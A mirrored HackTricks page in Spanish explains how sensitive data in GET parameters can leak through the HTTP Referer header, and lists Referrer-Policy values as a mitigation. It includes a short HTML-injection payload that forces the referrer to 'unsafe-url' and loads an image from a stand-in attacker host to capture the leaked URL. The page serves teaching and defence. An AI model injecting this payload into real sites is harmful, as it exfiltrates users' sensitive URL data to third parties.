Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/todo/interesting-http.md
CPol a0fbd48104
GitBook: No commit message
2024-04-06 18:13:31 +00:00

3.6 KiB
Raw Blame History

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Encabezados de referente y política

Referente es el encabezado utilizado por los navegadores para indicar cuál fue la página visitada anteriormente.

Fuga de información sensible

Si en algún momento dentro de una página web cualquier información sensible se encuentra en los parámetros de una solicitud GET, si la página contiene enlaces a fuentes externas o un atacante es capaz de hacer/sugerir (ingeniería social) que el usuario visite una URL controlada por el atacante. Podría ser capaz de exfiltrar la información sensible dentro de la última solicitud GET.

Mitigación

Puedes hacer que el navegador siga una política de referente que podría evitar que la información sensible sea enviada a otras aplicaciones web:

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Contra-Mitigación

Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita explotar una inyección HTML):

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

Defensa

Nunca coloques datos sensibles dentro de los parámetros GET o en las rutas de la URL.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: